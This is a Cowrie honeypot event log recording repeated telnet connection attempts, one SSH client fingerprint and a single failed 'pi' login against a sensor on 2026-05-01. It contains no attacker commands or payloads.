{"eventid":"cowrie.session.closed","duration":30.558990001678467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:13.514402Z","src_ip":"80.65.211.42","session":"1f85e6c1a36c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":39450,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc37d6728034","protocol":"telnet","message":"New connection: 154.53.41.252:39450 (159.203.135.109:23) [session: fc37d6728034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:13.593332Z"}
{"eventid":"cowrie.session.closed","duration":30.40263843536377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:14.293376Z","src_ip":"206.130.127.38","session":"0c25238fde63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":40488,"dst_ip":"159.203.135.109","dst_port":23,"session":"48387fb515e4","protocol":"telnet","message":"New connection: 154.53.41.252:40488 (159.203.135.109:23) [session: 48387fb515e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:14.299596Z"}
{"eventid":"cowrie.session.closed","duration":31.188397645950317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:14.883650Z","src_ip":"206.130.127.38","session":"72160e8034b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636484146118164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:15.030657Z","src_ip":"154.53.41.252","session":"7bd4b6d34c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.623036861419678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:15.041884Z","src_ip":"154.53.41.252","session":"a2920515b301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":43374,"dst_ip":"159.203.135.109","dst_port":23,"session":"23d18571fc64","protocol":"telnet","message":"New connection: 154.53.41.252:43374 (159.203.135.109:23) [session: 23d18571fc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:16.076938Z"}
{"eventid":"cowrie.session.closed","duration":31.174189805984497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:16.307554Z","src_ip":"154.53.41.252","session":"ae8d448ee294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760661125183105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:16.472133Z","src_ip":"206.130.127.38","session":"1e39b8d5752a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26997971534729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:17.128684Z","src_ip":"154.53.41.252","session":"7849c8a9f65a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110055208206177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:17.762038Z","src_ip":"206.130.127.38","session":"118dfbdf3325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":46622,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed3125713e0a","protocol":"telnet","message":"New connection: 45.95.113.26:46622 (159.203.135.109:23) [session: ed3125713e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:17.847143Z"}
{"eventid":"cowrie.session.closed","duration":30.325690746307373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:18.015314Z","src_ip":"154.53.41.252","session":"b13dbbda5f3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542096376419067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:18.023632Z","src_ip":"103.211.218.218","session":"0d457b3be5ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":46800,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd30250341ad","protocol":"telnet","message":"New connection: 154.53.41.252:46800 (159.203.135.109:23) [session: bd30250341ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:18.409272Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":47080,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8e4f0d95b4","protocol":"telnet","message":"New connection: 154.53.41.252:47080 (159.203.135.109:23) [session: da8e4f0d95b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:18.590889Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":47104,"dst_ip":"159.203.135.109","dst_port":23,"session":"4108fd7737a0","protocol":"telnet","message":"New connection: 154.53.41.252:47104 (159.203.135.109:23) [session: 4108fd7737a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:18.604103Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":46636,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb51ed872ca4","protocol":"telnet","message":"New connection: 45.95.113.26:46636 (159.203.135.109:23) [session: cb51ed872ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:18.655077Z"}
{"eventid":"cowrie.session.closed","duration":31.086164474487305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:19.070477Z","src_ip":"45.95.113.26","session":"ab665ee9efa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":48094,"dst_ip":"159.203.135.109","dst_port":23,"session":"8297902a895a","protocol":"telnet","message":"New connection: 154.53.41.252:48094 (159.203.135.109:23) [session: 8297902a895a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:19.315837Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":48298,"dst_ip":"159.203.135.109","dst_port":23,"session":"d65cc7e60fac","protocol":"telnet","message":"New connection: 154.53.41.252:48298 (159.203.135.109:23) [session: d65cc7e60fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:19.455392Z"}
{"eventid":"cowrie.session.closed","duration":30.214301824569702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:20.071991Z","src_ip":"154.53.41.252","session":"bf140490c86a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":49914,"dst_ip":"159.203.135.109","dst_port":23,"session":"39900559f80a","protocol":"telnet","message":"New connection: 154.53.41.252:49914 (159.203.135.109:23) [session: 39900559f80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:20.657690Z"}
{"eventid":"cowrie.session.closed","duration":30.10180640220642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:21.011197Z","src_ip":"154.53.41.252","session":"3cc16fc319ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576748847961426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:21.111821Z","src_ip":"154.53.41.252","session":"45f8e301e589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":51568,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb77a9557ea3","protocol":"telnet","message":"New connection: 154.53.41.252:51568 (159.203.135.109:23) [session: cb77a9557ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:22.002662Z"}
{"eventid":"cowrie.session.closed","duration":30.344337463378906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:22.019858Z","src_ip":"154.53.41.252","session":"4a700fa36006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759222745895386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:22.080889Z","src_ip":"154.53.41.252","session":"0c53c6dd7437","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":53186,"dst_ip":"159.203.135.109","dst_port":23,"session":"d263a8b8a498","protocol":"telnet","message":"New connection: 154.53.41.252:53186 (159.203.135.109:23) [session: d263a8b8a498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:23.189825Z"}
{"eventid":"cowrie.session.closed","duration":30.901307582855225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:24.018253Z","src_ip":"154.53.41.252","session":"daeeb7560ccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54556,"dst_ip":"159.203.135.109","dst_port":23,"session":"c95cdf80e0c8","protocol":"telnet","message":"New connection: 154.53.41.252:54556 (159.203.135.109:23) [session: c95cdf80e0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:24.093540Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":55842,"dst_ip":"159.203.135.109","dst_port":23,"session":"411063da8c41","protocol":"telnet","message":"New connection: 154.53.41.252:55842 (159.203.135.109:23) [session: 411063da8c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:25.048547Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":47280,"dst_ip":"159.203.135.109","dst_port":23,"session":"36f5c664e047","protocol":"telnet","message":"New connection: 103.211.218.218:47280 (159.203.135.109:23) [session: 36f5c664e047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:25.273297Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":56354,"dst_ip":"159.203.135.109","dst_port":23,"session":"907f64ab3f24","protocol":"telnet","message":"New connection: 154.53.41.252:56354 (159.203.135.109:23) [session: 907f64ab3f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:25.438812Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":59868,"dst_ip":"159.203.135.109","dst_port":23,"session":"d53e8c6cfdcb","protocol":"telnet","message":"New connection: 154.53.41.252:59868 (159.203.135.109:23) [session: d53e8c6cfdcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:27.710342Z"}
{"eventid":"cowrie.session.closed","duration":30.591547966003418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:28.000200Z","src_ip":"103.211.218.218","session":"bfe75d503c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007282972335815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:28.020421Z","src_ip":"154.53.41.252","session":"e6b76d0402df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.359372854232788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:29.035298Z","src_ip":"206.130.127.38","session":"483ed4936372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":34032,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f2e730d8bff","protocol":"telnet","message":"New connection: 154.53.41.252:34032 (159.203.135.109:23) [session: 3f2e730d8bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:29.327363Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":34450,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6cc7dd294c1","protocol":"telnet","message":"New connection: 154.53.41.252:34450 (159.203.135.109:23) [session: a6cc7dd294c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:29.637754Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37252,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcd12059e891","protocol":"telnet","message":"New connection: 154.53.41.252:37252 (159.203.135.109:23) [session: bcd12059e891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:31.351128Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":39054,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d9cdf85f780","protocol":"telnet","message":"New connection: 154.53.41.252:39054 (159.203.135.109:23) [session: 9d9cdf85f780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:32.552914Z"}
{"eventid":"cowrie.session.closed","duration":31.322805881500244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:33.284886Z","src_ip":"45.95.113.26","session":"dadf53e0d196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":31428,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf920c41e985","protocol":"ssh","message":"New connection: 193.24.211.95:31428 (159.203.135.109:22) [session: bf920c41e985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:34.518805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:34.585043Z","src_ip":"193.24.211.95","session":"bf920c41e985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:34.648388Z","src_ip":"193.24.211.95","session":"bf920c41e985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"ip","message":"login attempt [pi/ip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:35.070150Z","src_ip":"193.24.211.95","session":"bf920c41e985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.68562340736389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:36.066643Z","src_ip":"154.53.41.252","session":"a5bbc026ecfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013421535491943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:36.117037Z","src_ip":"154.53.41.252","session":"4ff7dcda00ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:36.181429Z","src_ip":"193.24.211.95","session":"bf920c41e985","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":46308,"dst_ip":"159.203.135.109","dst_port":23,"session":"54cc036062a8","protocol":"telnet","message":"New connection: 154.53.41.252:46308 (159.203.135.109:23) [session: 54cc036062a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:36.921801Z"}
{"eventid":"cowrie.session.closed","duration":31.113011837005615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:37.060999Z","src_ip":"103.211.218.218","session":"e460f20cbb77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4845130443573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:38.014979Z","src_ip":"154.53.41.252","session":"4f244df06c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55171537399292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:38.899230Z","src_ip":"154.53.41.252","session":"1518aeecba70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952502012252808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:39.045588Z","src_ip":"154.53.41.252","session":"f8f1ec60429b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914626598358154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:39.088948Z","src_ip":"154.53.41.252","session":"87c33e5571c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136710166931152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:39.315963Z","src_ip":"206.130.127.38","session":"98b4d8c24368","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033612489700317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:41.017595Z","src_ip":"154.53.41.252","session":"fb3e43b0f75e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.078933000564575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:41.520327Z","src_ip":"154.53.41.252","session":"02df3060b24d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":54968,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd53ef69c6bb","protocol":"telnet","message":"New connection: 154.53.41.252:54968 (159.203.135.109:23) [session: bd53ef69c6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:42.334051Z"}
{"eventid":"cowrie.session.closed","duration":30.872921466827393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:42.422729Z","src_ip":"154.53.41.252","session":"eedb10f9e952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":56838,"dst_ip":"159.203.135.109","dst_port":23,"session":"e24d47286707","protocol":"telnet","message":"New connection: 154.53.41.252:56838 (159.203.135.109:23) [session: e24d47286707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:43.381020Z"}
{"eventid":"cowrie.session.closed","duration":30.49942708015442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:44.092643Z","src_ip":"154.53.41.252","session":"fc37d6728034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932345151901245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:44.180743Z","src_ip":"154.53.41.252","session":"cd2444367c6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82002854347229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:45.119560Z","src_ip":"154.53.41.252","session":"48387fb515e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":33480,"dst_ip":"159.203.135.109","dst_port":23,"session":"59156d88f461","protocol":"telnet","message":"New connection: 154.53.41.252:33480 (159.203.135.109:23) [session: 59156d88f461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:46.326676Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":35248,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac49e71c4ee5","protocol":"telnet","message":"New connection: 154.53.41.252:35248 (159.203.135.109:23) [session: ac49e71c4ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:47.454876Z"}
{"eventid":"cowrie.session.closed","duration":31.48204755783081,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:47.558847Z","src_ip":"154.53.41.252","session":"23d18571fc64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":51950,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e457d15031e","protocol":"telnet","message":"New connection: 80.65.211.42:51950 (159.203.135.109:23) [session: 7e457d15031e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:47.793496Z"}
{"eventid":"cowrie.session.closed","duration":30.41609239578247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:48.263111Z","src_ip":"45.95.113.26","session":"ed3125713e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37448,"dst_ip":"159.203.135.109","dst_port":23,"session":"85f0f1f39859","protocol":"telnet","message":"New connection: 154.53.41.252:37448 (159.203.135.109:23) [session: 85f0f1f39859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:48.760255Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37754,"dst_ip":"159.203.135.109","dst_port":23,"session":"eea1bfae0c3d","protocol":"telnet","message":"New connection: 154.53.41.252:37754 (159.203.135.109:23) [session: eea1bfae0c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:48.978454Z"}
{"eventid":"cowrie.session.closed","duration":30.425003051757812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:49.015782Z","src_ip":"154.53.41.252","session":"da8e4f0d95b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524738073349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:49.128691Z","src_ip":"154.53.41.252","session":"4108fd7737a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808685064315796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:49.217794Z","src_ip":"154.53.41.252","session":"bd30250341ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64391779899597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:11:49.298872Z","src_ip":"45.95.113.26","session":"cb51ed872ca4","protocol":"telnet"}
